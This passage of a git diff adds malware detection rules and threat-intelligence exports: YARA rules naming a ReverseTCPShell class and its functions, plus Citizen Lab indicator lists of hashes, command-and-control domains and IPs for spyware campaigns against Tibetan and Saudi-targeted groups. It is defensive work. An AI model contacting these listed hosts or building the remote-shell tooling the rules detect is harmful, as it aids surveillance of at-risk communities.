ascii wide + $decents2 = "$decentID" ascii wide + $decents3 = "powershell" ascii wide nocase + + condition: + all of them +} + +rule tibetan_indecent_pe_loader_pdb +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + //C:\Users\learn\Desktop\免杀\ + $pdb = {43 3a 5c 55 73 65 72 73 5c 6c 65 61 72 6e 5c 44 65 73 6b 74 6f 70 5c e5 85 8d e6 9d 80} + + condition: + all of them +} + +rule tibetan_indecent_powershell_tcpshell_funcs +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $class = "public class ReverseTCPShell" ascii wide nocase + $func1 = "public static void run" ascii wide nocase + $func2 = "public static void runth" ascii wide nocase + $func3 = "public static void start" ascii wide nocase + $func4 = "public static bool isOnline" ascii wide nocase + $func5 = "public static void startCmd" ascii wide nocase + $func6 = "public static void CmdExited" ascii wide nocase + $func7 = "public static void DataReceived" ascii wide nocase + $func8 = "public static void FileReceive" ascii wide nocase + $func9 = "public static void CmdManager" ascii wide nocase + $func10 = "public static void SortOutputHandler" ascii wide nocase + $func11 = "public static void SendLoginInfo" ascii wide nocase + $func12 = "public static void Send" ascii wide nocase + $func13 = "public static int SendWithSplit" ascii wide nocase + + condition: + 6 of them + +} + +rule tibetan_indecent_infrastructure_strings +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $cc1 = "103.55.24.196" ascii wide nocase + $cc2 = "118.99.59.105" ascii wide nocase + $cc3 = "27.126.186.222" ascii wide nocase + $cc4 = "45.127.97.222" ascii wide nocase + $cc5 = "comemail.email" ascii wide nocase + $cc6 = "commail.co" ascii wide nocase + $cc7 = "daynew.today" ascii wide nocase + $cc8 = "daynews.today" ascii wide nocase + $cc9 = "tibetfrum.info" ascii wide nocase + $cc10 = "tibethouse.info" ascii wide nocase + $cc11 = "tibetnews.info" ascii wide nocase + $cc12 = "tibetnews.today" ascii wide nocase + + condition: + any of them + +} + +rule silent_ppk_strings +{ + meta: + author = "Geoff Alexander " + + strings: + $s1 = "MainCommandJobSub" + $s2 = "MainFun002" + $s3 = "mRecvPkgFun" + $s4 = "while -- ClientConnect" + $s5 = "svsdll.log" + $s6 = "ppk.dat" + + condition: + uint16(0) == 0x5a4d and 4 of ($s*) +} diff --git a/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/stix.xml b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/stix.xml new file mode 100644 index 0000000..700d252 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/stix.xml @@ -0,0 +1,1010 @@ + + + Export from MISP + Threat Report + + + + + + Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces + Threat Report + + + + Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces + 133 + + 2018-01-31T00:00:00+00:00 + 2018-08-04T06:25:10+00:00 + + Closed + + + Artifacts dropped + + Artifacts dropped: 91e976f76cc027931fed4cf70702efff (MISP Attribute #18346) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 91e976f76cc027931fed4cf70702efff (MISP Attribute #18346) + + + + + + + MD5 + 91e976f76cc027931fed4cf70702efff + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 57ffde3504934e25904bcc57d27f9217 (MISP Attribute #18347) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 57ffde3504934e25904bcc57d27f9217 (MISP Attribute #18347) + + + + + + + MD5 + 57ffde3504934e25904bcc57d27f9217 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 75b86a01196854919626e87d5bd45a38 (MISP Attribute #18348) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 75b86a01196854919626e87d5bd45a38 (MISP Attribute #18348) + + + + + + + MD5 + 75b86a01196854919626e87d5bd45a38 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: c25acaa45b0cf65a39c8413fa99e1fe8 (MISP Attribute #18349) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: c25acaa45b0cf65a39c8413fa99e1fe8 (MISP Attribute #18349) + + + + + + + MD5 + c25acaa45b0cf65a39c8413fa99e1fe8 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 4d85904b15c0adc8664f71bc2c5496bf (MISP Attribute #18350) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 4d85904b15c0adc8664f71bc2c5496bf (MISP Attribute #18350) + + + + + + + MD5 + 4d85904b15c0adc8664f71bc2c5496bf + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 88e85fb6074ae50a3ccc9b410805ffe5 (MISP Attribute #18351) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 88e85fb6074ae50a3ccc9b410805ffe5 (MISP Attribute #18351) + + + + + + + MD5 + 88e85fb6074ae50a3ccc9b410805ffe5 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 058a5d47f8834fccfff8971f0544e387 (MISP Attribute #18352) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 058a5d47f8834fccfff8971f0544e387 (MISP Attribute #18352) + + + + + + + MD5 + 058a5d47f8834fccfff8971f0544e387 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 124c475d67aa8391f5220efcc64ca5b3 (MISP Attribute #18353) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 124c475d67aa8391f5220efcc64ca5b3 (MISP Attribute #18353) + + + + + + + MD5 + 124c475d67aa8391f5220efcc64ca5b3 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 054bad7ec0e19cec931078d45382fee6 (MISP Attribute #18354) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 054bad7ec0e19cec931078d45382fee6 (MISP Attribute #18354) + + + + + + + MD5 + 054bad7ec0e19cec931078d45382fee6 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: b1c114ae9172a3bacc5c6b30c410f354 (MISP Attribute #18355) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: b1c114ae9172a3bacc5c6b30c410f354 (MISP Attribute #18355) + + + + + + + MD5 + b1c114ae9172a3bacc5c6b30c410f354 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 72c88c4a9d2316b266a6702374411a99 (MISP Attribute #18356) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 72c88c4a9d2316b266a6702374411a99 (MISP Attribute #18356) + + + + + + + MD5 + 72c88c4a9d2316b266a6702374411a99 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 67e866c461c285853b225d2b2c850c4f (MISP Attribute #18357) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 67e866c461c285853b225d2b2c850c4f (MISP Attribute #18357) + + + + + + + MD5 + 67e866c461c285853b225d2b2c850c4f + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e1b03f5837533ecc9a05e19650d68e1d (MISP Attribute #18358) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e1b03f5837533ecc9a05e19650d68e1d (MISP Attribute #18358) + + + + + + + MD5 + e1b03f5837533ecc9a05e19650d68e1d + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 11e0f3e1c7d8855ed7f1dcfce4b7702a (MISP Attribute #18359) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 11e0f3e1c7d8855ed7f1dcfce4b7702a (MISP Attribute #18359) + + + + + + + MD5 + 11e0f3e1c7d8855ed7f1dcfce4b7702a + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: bqfkdrmnhh0623@gmail.com (MISP Attribute #18343) + Malware Artifacts + Attribution: bqfkdrmnhh0623@gmail.com (MISP Attribute #18343) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: huang ning (MISP Attribute #18344) + Malware Artifacts + Attribution: huang ning (MISP Attribute #18344) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: 8677687877 (MISP Attribute #18345) + Malware Artifacts + Attribution: 8677687877 (MISP Attribute #18345) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: commail.co (MISP Attribute #18048) + Malware Artifacts + Domain Watchlist + Network activity: commail.co (MISP Attribute #18048) + + + + + commail.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tibetfrum.info (MISP Attribute #18049) + Malware Artifacts + Domain Watchlist + Network activity: tibetfrum.info (MISP Attribute #18049) + + + + + tibetfrum.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tibethouse.info (MISP Attribute #18050) + Malware Artifacts + Domain Watchlist + Network activity: tibethouse.info (MISP Attribute #18050) + + + + + tibethouse.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tibetnews.info (MISP Attribute #18051) + Malware Artifacts + Domain Watchlist + Network activity: tibetnews.info (MISP Attribute #18051) + + + + + tibetnews.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: daynew.today (MISP Attribute #18052) + Malware Artifacts + Domain Watchlist + Network activity: daynew.today (MISP Attribute #18052) + + + + + daynew.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: daynews.today (MISP Attribute #18053) + Malware Artifacts + Domain Watchlist + Network activity: daynews.today (MISP Attribute #18053) + + + + + daynews.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tibetnews.today (MISP Attribute #18054) + Malware Artifacts + Domain Watchlist + Network activity: tibetnews.today (MISP Attribute #18054) + + + + + tibetnews.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: comemails.email (MISP Attribute #18055) + Malware Artifacts + Domain Watchlist + Network activity: comemails.email (MISP Attribute #18055) + + + + + comemails.email + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: comemail.email (MISP Attribute #18056) + Malware Artifacts + Domain Watchlist + Network activity: comemail.email (MISP Attribute #18056) + + + + + comemail.email + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google.comemail.email (MISP Attribute #18336) + Malware Artifacts + Domain Watchlist + Network activity: google.comemail.email (MISP Attribute #18336) + + + + + google.comemail.email + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google.comemails.email (MISP Attribute #18337) + Malware Artifacts + Domain Watchlist + Network activity: google.comemails.email (MISP Attribute #18337) + + + + + google.comemails.email + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google.commail.co (MISP Attribute #18338) + Malware Artifacts + Domain Watchlist + Network activity: google.commail.co (MISP Attribute #18338) + + + + + google.commail.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google.commail.email (MISP Attribute #18339) + Malware Artifacts + Domain Watchlist + Network activity: google.commail.email (MISP Attribute #18339) + + + + + google.commail.email + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail.google.commail.co (MISP Attribute #18340) + Malware Artifacts + Domain Watchlist + Network activity: mail.google.commail.co (MISP Attribute #18340) + + + + + mail.google.commail.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.comemail.email (MISP Attribute #18341) + Malware Artifacts + Domain Watchlist + Network activity: www.comemail.email (MISP Attribute #18341) + + + + + www.comemail.email + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.google.comemails.email (MISP Attribute #18342) + Malware Artifacts + Domain Watchlist + Network activity: www.google.comemails.email (MISP Attribute #18342) + + + + + www.google.comemails.email + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 27.126.186.222 (MISP Attribute #18330) + Malware Artifacts + IP Watchlist + Network activity: 27.126.186.222 (MISP Attribute #18330) + + + + + 27.126.186.222 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 103.55.24.196 (MISP Attribute #18331) + Malware Artifacts + IP Watchlist + Network activity: 103.55.24.196 (MISP Attribute #18331) + + + + + 103.55.24.196 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 203.189.232.207 (MISP Attribute #18332) + Malware Artifacts + IP Watchlist + Network activity: 203.189.232.207 (MISP Attribute #18332) + + + + + 203.189.232.207 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.127.97.222 (MISP Attribute #18333) + Malware Artifacts + IP Watchlist + Network activity: 45.127.97.222 (MISP Attribute #18333) + + + + + 45.127.97.222 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 115.126.86.151 (MISP Attribute #18334) + Malware Artifacts + IP Watchlist + Network activity: 115.126.86.151 (MISP Attribute #18334) + + + + + 115.126.86.151 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 27.126.176.169 (MISP Attribute #18335) + Malware Artifacts + IP Watchlist + Network activity: 27.126.176.169 (MISP Attribute #18335) + + + + + 27.126.176.169 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: tibetanparliarnent@yahoo.com (MISP Attribute #18360) + Malware Artifacts + Malicious E-mail + Payload delivery: tibetanparliarnent@yahoo.com (MISP Attribute #18360) + + + + + + + tibetanparliarnent@yahoo.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: Medium + + + MISP Tag: TLP:RED + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: NOTPUBLISHED + + + MISP Tag: DETECT + + + MISP Tag: TARGET:TIBETAN + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/iocs.csv b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/iocs.csv new file mode 100644 index 0000000..7278f9b --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/iocs.csv @@ -0,0 +1,21 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5bb2777f-11e4-4591-b2d2-700d8064ab0b,138,Payload delivery,domain,"kingdom-news.com","",1,20181001 +5bb2777f-17dc-4422-b198-700d8064ab0b,138,Payload delivery,domain,"all-sales.info","",1,20181001 +5bb2777f-1d34-42cc-b869-700d8064ab0b,138,Payload delivery,domain,"nouvelles247.com","",1,20181001 +5bb2777f-2ef0-4e54-b5dd-700d8064ab0b,138,Payload delivery,domain,"findmyplants.com","",1,20181001 +5bb2777f-36c4-4621-abf9-700d8064ab0b,138,Payload delivery,domain,"arabnews365.com","",1,20181001 +5bb2777f-4fb0-4727-9c47-700d8064ab0b,138,Payload delivery,domain,"kingdom-deals.com","",1,20181001 +5bb2777f-5a18-4c67-9a35-700d8064ab0b,138,Payload delivery,domain,"akhbar-arabia.com","",1,20181001 +5bb2777f-6e5c-496e-975b-700d8064ab0b,138,Payload delivery,domain,"muslim-world.info","",1,20181001 +5bb2777f-9834-4835-9cd0-700d8064ab0b,138,Payload delivery,domain,"news-gazette.info","",1,20181001 +5bb2777f-a8fc-4c13-8aed-700d8064ab0b,138,Payload delivery,domain,"arabworld.biz","",1,20181001 +5bb2777f-a91c-45dc-99ae-700d8064ab0b,138,Payload delivery,domain,"dinneraroundyou.com","",1,20181001 +5bb2777f-ad24-4ab7-bb07-700d8064ab0b,138,Payload delivery,domain,"promosdereve.com","",1,20181001 +5bb2777f-cc98-4611-8d13-700d8064ab0b,138,Payload delivery,domain,"housesfurniture.com","",1,20181001 +5bb2777f-ebd0-4410-b335-700d8064ab0b,138,Payload delivery,domain,"daily-sport.news","",1,20181001 +5bb2777f-f954-4227-9e89-700d8064ab0b,138,Payload delivery,domain,"mideast-today.com","",1,20181001 +5bb27780-ba04-4fa1-9198-700d8064ab0b,138,Payload delivery,domain,"wonderfulinsights.com","",1,20181001 +5bb27780-e238-499c-a677-700d8064ab0b,138,Payload delivery,domain,"social-life.info","",1,20181001 +5bb27780-fe30-4662-9264-700d8064ab0b,138,Payload delivery,domain,"sunday-deals.com","",1,20181001 +5bb277a3-277c-4cc9-a7d0-4c668064ab0b,138,Network activity,domain,"beststores4u.com","",1,20181001 +5bb277a3-ac80-403b-a3a7-4c668064ab0b,138,Network activity,domain,"cheapapartmentsaroundme.com","",1,20181001 diff --git a/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/misp.json b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/misp.json new file mode 100644 index 0000000..61b9fc8 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/misp.json @@ -0,0 +1,377 @@ +{"response":[{ + "Event": { + "id": "138", + "orgc_id": "2", + "org_id": "2", + "date": "2018-10-01", + "threat_level_id": "1", + "info": "The Kingdom Came To Canada", + "published": true, + "uuid": "5bb27709-12a0-4240-b90e-6f848064ab0b", + "attribute_count": "20", + "analysis": "2", + "timestamp": "1538422691", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1538423091", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "18379", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5bb277a3-277c-4cc9-a7d0-4c668064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422691", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "beststores4u.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18380", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5bb277a3-ac80-403b-a3a7-4c668064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422691", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "cheapapartmentsaroundme.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18361", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-5a18-4c67-9a35-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "akhbar-arabia.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18362", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-17dc-4422-b198-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "all-sales.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18363", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-36c4-4621-abf9-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "arabnews365.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18364", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-a8fc-4c13-8aed-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "arabworld.biz", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18365", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-ebd0-4410-b335-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "daily-sport.news", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18366", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-a91c-45dc-99ae-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dinneraroundyou.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18367", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-2ef0-4e54-b5dd-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "findmyplants.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18368", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-cc98-4611-8d13-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "housesfurniture.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18369", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-4fb0-4727-9c47-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "kingdom-deals.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18370", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-11e4-4591-b2d2-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "kingdom-news.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18371", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-f954-4227-9e89-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mideast-today.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18372", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-6e5c-496e-975b-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "muslim-world.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18373", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-9834-4835-9cd0-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "news-gazette.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18374", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-1d34-42cc-b869-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "nouvelles247.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18375", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb2777f-ad24-4ab7-bb07-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422655", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "promosdereve.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18376", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb27780-e238-499c-a677-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422656", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "social-life.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18377", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb27780-fe30-4662-9264-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422656", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sunday-deals.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18378", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5bb27780-ba04-4fa1-9198-700d8064ab0b", + "event_id": "138", + "distribution": "5", + "timestamp": "1538422656", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "wonderfulinsights.com", + "SharingGroup": [], + "ShadowAttribute": [] + } + ], + "ShadowAttribute": [], + "RelatedEvent": [], + "Tag": [ + { + "id": "5", + "name": "SOURCE:CITIZENLAB", + "colour": "#ffad0d", + "exportable": true, + "org_id": false + }, + { + "id": "7", + "name": "DETECT", + "colour": "#cccccc", + "exportable": true, + "org_id": false + }, + { + "id": "8", + "name": "PUBLISHED", + "colour": "#91caff", + "exportable": true, + "org_id": false + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/openioc.ioc b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/openioc.ioc new file mode 100644 index 0000000..006fe9e --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/openioc.ioc @@ -0,0 +1,93 @@ + + + Event #138 + The Kingdom Came To Canada + + citizenlab + 2018-10-01T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/stix.xml b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/stix.xml new file mode 100644 index 0000000..c64e771 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201810_TheKingdomCameToCanada/stix.xml @@ -0,0 +1,537 @@ + + + Export from MISP + Threat Report + + + + + + The Kingdom Came To Canada (MISP Event #138) + Threat Report + + + + The Kingdom Came To Canada + 138 + + 2018-10-01T00:00:00+00:00 + 2018-10-01T15:44:51+00:00 + + Closed + + + Network activity + + Network activity: beststores4u.com (MISP Attribute #18379) + Malware Artifacts + Domain Watchlist + Network activity: beststores4u.com (MISP Attribute #18379) + + + + + beststores4u.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: cheapapartmentsaroundme.com (MISP Attribute #18380) + Malware Artifacts + Domain Watchlist + Network activity: cheapapartmentsaroundme.com (MISP Attribute #18380) + + + + + cheapapartmentsaroundme.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: akhbar-arabia.com (MISP Attribute #18361) + Malware Artifacts + Domain Watchlist + Payload delivery: akhbar-arabia.com (MISP Attribute #18361) + + + + + akhbar-arabia.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: all-sales.info (MISP Attribute #18362) + Malware Artifacts + Domain Watchlist + Payload delivery: all-sales.info (MISP Attribute #18362) + + + + + all-sales.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: arabnews365.com (MISP Attribute #18363) + Malware Artifacts + Domain Watchlist + Payload delivery: arabnews365.com (MISP Attribute #18363) + + + + + arabnews365.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: arabworld.biz (MISP Attribute #18364) + Malware Artifacts + Domain Watchlist + 